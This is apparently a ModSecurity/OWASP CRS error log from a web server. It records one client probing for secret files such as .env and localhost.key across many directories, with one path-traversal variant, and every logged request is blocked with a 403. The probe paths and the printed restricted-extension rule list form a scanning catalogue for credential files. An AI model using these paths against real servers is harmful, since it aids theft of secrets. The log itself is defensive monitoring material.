[Sun Oct 25 10:21:35.250790 2026] [security2:error] [pid 2847140:tid 2847140] [client 35.204.239.58:42548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /common/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at4Qb7zfR6IZTglRqQr3VQAAAAU"]
[Sun Oct 25 10:21:35.250910 2026] [security2:error] [pid 2847140:tid 2847140] [client 35.204.239.58:42548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at4Qb7zfR6IZTglRqQr3VQAAAAU"]
[Sun Oct 25 10:21:35.251143 2026] [security2:error] [pid 2847140:tid 2847140] [client 35.204.239.58:42548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/common/.env"] [unique_id "at4Qb7zfR6IZTglRqQr3VQAAAAU"]
[Sun Oct 25 10:21:35.252229 2026] [security2:error] [pid 2834019:tid 2834019] [client 35.204.239.58:42510] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at4Qb0sgp-xlBP1GcWOSaAAAABE"]
[Sun Oct 25 10:21:35.252362 2026] [security2:error] [pid 2834019:tid 2834019] [client 35.204.239.58:42510] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at4Qb0sgp-xlBP1GcWOSaAAAABE"]
[Sun Oct 25 10:21:35.252606 2026] [security2:error] [pid 2834019:tid 2834019] [client 35.204.239.58:42510] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at4Qb0sgp-xlBP1GcWOSaAAAABE"]
[Sun Oct 25 10:21:35.253691 2026] [security2:error] [pid 2847138:tid 2847138] [client 35.204.239.58:42560] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /portal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at4Qb6Z77hUnuhW6b3ZPOwAAAAA"]
[Sun Oct 25 10:21:35.253812 2026] [security2:error] [pid 2847138:tid 2847138] [client 35.204.239.58:42560] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at4Qb6Z77hUnuhW6b3ZPOwAAAAA"]
[Sun Oct 25 10:21:35.254045 2026] [security2:error] [pid 2847138:tid 2847138] [client 35.204.239.58:42560] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/portal/.env"] [unique_id "at4Qb6Z77hUnuhW6b3ZPOwAAAAA"]
[Sun Oct 25 10:21:35.255047 2026] [security2:error] [pid 2826774:tid 2826774] [client 35.204.239.58:49780] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /pkg/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at4Qb_WU2HQBncZeY47FLQAAAAQ"]
[Sun Oct 25 10:21:35.255211 2026] [security2:error] [pid 2826774:tid 2826774] [client 35.204.239.58:49780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at4Qb_WU2HQBncZeY47FLQAAAAQ"]
[Sun Oct 25 10:21:35.255418 2026] [security2:error] [pid 2826774:tid 2826774] [client 35.204.239.58:49780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/pkg/.env"] [unique_id "at4Qb_WU2HQBncZeY47FLQAAAAQ"]
[Sun Oct 25 10:21:35.256486 2026] [security2:error] [pid 2821699:tid 2821699] [client 35.204.239.58:42498] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /panel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at4Qb5BSQk9YSmLuOvuRlgAAAAM"]
[Sun Oct 25 10:21:35.256652 2026] [security2:error] [pid 2821699:tid 2821699] [client 35.204.239.58:42498] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at4Qb5BSQk9YSmLuOvuRlgAAAAM"]
[Sun Oct 25 10:21:35.256946 2026] [security2:error] [pid 2821699:tid 2821699] [client 35.204.239.58:42498] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at4Qb5BSQk9YSmLuOvuRlgAAAAM"]
[Sun Oct 25 10:21:35.259407 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /tmp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at4Qb7AXYX-KZxBobEnRRwAAAAI"]
[Sun Oct 25 10:21:35.259578 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at4Qb7AXYX-KZxBobEnRRwAAAAI"]
[Sun Oct 25 10:21:35.259840 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at4Qb7AXYX-KZxBobEnRRwAAAAI"]
[Sun Oct 25 10:21:35.272037 2026] [security2:error] [pid 2847141:tid 2847141] [client 35.204.239.58:42612] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /temp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/temp/.env"] [unique_id "at4Qbwbh6It5ncJCFORlvAAAAAY"]
[Sun Oct 25 10:21:35.272277 2026] [security2:error] [pid 2847141:tid 2847141] [client 35.204.239.58:42612] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/temp/.env"] [unique_id "at4Qbwbh6It5ncJCFORlvAAAAAY"]
[Sun Oct 25 10:21:35.272610 2026] [security2:error] [pid 2847141:tid 2847141] [client 35.204.239.58:42612] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/temp/.env"] [unique_id "at4Qbwbh6It5ncJCFORlvAAAAAY"]
[Sun Oct 25 10:21:35.319898 2026] [security2:error] [pid 2815605:tid 2815605] [client 35.204.239.58:42582] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /css../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/css../.env"] [unique_id "at4QbwYPMfHr0EMMDlnoQAAAABM"]
[Sun Oct 25 10:21:35.319947 2026] [security2:error] [pid 2815605:tid 2815605] [client 35.204.239.58:42582] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /css../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/css../.env"] [unique_id "at4QbwYPMfHr0EMMDlnoQAAAABM"]
[Sun Oct 25 10:21:35.320017 2026] [security2:error] [pid 2815605:tid 2815605] [client 35.204.239.58:42582] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/css../.env"] [unique_id "at4QbwYPMfHr0EMMDlnoQAAAABM"]
[Sun Oct 25 10:21:35.320255 2026] [security2:error] [pid 2815605:tid 2815605] [client 35.204.239.58:42582] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/css../.env"] [unique_id "at4QbwYPMfHr0EMMDlnoQAAAABM"]
[Sun Oct 25 10:21:35.320600 2026] [security2:error] [pid 2815605:tid 2815605] [client 35.204.239.58:42582] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/css../.env"] [unique_id "at4QbwYPMfHr0EMMDlnoQAAAABM"]
[Sun Oct 25 10:21:35.518117 2026] [security2:error] [pid 2815605:tid 2815605] [client 35.204.239.58:42582] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at4QbwYPMfHr0EMMDlnoQQAAABM"]
[Sun Oct 25 10:21:35.518367 2026] [security2:error] [pid 2815605:tid 2815605] [client 35.204.239.58:42582] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at4QbwYPMfHr0EMMDlnoQQAAABM"]
[Sun Oct 25 10:21:35.518678 2026] [security2:error] [pid 2815605:tid 2815605] [client 35.204.239.58:42582] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at4QbwYPMfHr0EMMDlnoQQAAABM"]
[Sun Oct 25 10:21:35.522935 2026] [security2:error] [pid 2847141:tid 2847141] [client 35.204.239.58:42612] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "direc2.sherwinpinturas.com"] [uri "/localhost.key"] [unique_id "at4Qbwbh6It5ncJCFORlvQAAAAY"]
[Sun Oct 25 10:21:35.523261 2026] [security2:error] [pid 2847141:tid 2847141] [client 35.204.239.58:42612] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/localhost.key"] [unique_id "at4Qbwbh6It5ncJCFORlvQAAAAY"]
[Sun Oct 25 10:21:35.523502 2026] [security2:error] [pid 2847141:tid 2847141] [client 35.204.239.58:42612] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/localhost.key"] [unique_id "at4Qbwbh6It5ncJCFORlvQAAAAY"]
[Sun Oct 25 10:21:35.526182 2026] [security2:error] [pid 2821699:tid 2821699] [client 35.204.239.58:42498] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /etc/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/etc/.env"] [unique_id "at4Qb5BSQk9YSmLuOvuRlwAAAAM"]
[Sun Oct 25 10:21:35.526317 2026] [security2:error] [pid 2821699:tid 2821699] [client 35.204.239.58:42498] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/etc/.env"] [unique_id "at4Qb5BSQk9YSmLuOvuRlwAAAAM"]
[Sun Oct 25 10:21:35.526585 2026] [security2:error] [pid 2821699:tid 2821699] [client 35.204.239.58:42498] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/etc/.env"] [unique_id "at4Qb5BSQk9YSmLuOvuRlwAAAAM"]
[Sun Oct 25 10:21:35.537243 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /conf/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/conf/.env"] [unique_id "at4Qb7AXYX-KZxBobEnRSAAAAAI"]
[Sun Oct 25 10:21:35.537399 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/conf/.env"] [unique_id "at4Qb7AXYX-KZxBobEnRSAAAAAI"]
[Sun Oct 25 10:21:35.537703 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/conf/.env"] [unique_id "at4Qb7AXYX-KZxBobEnRSAAAAAI"]
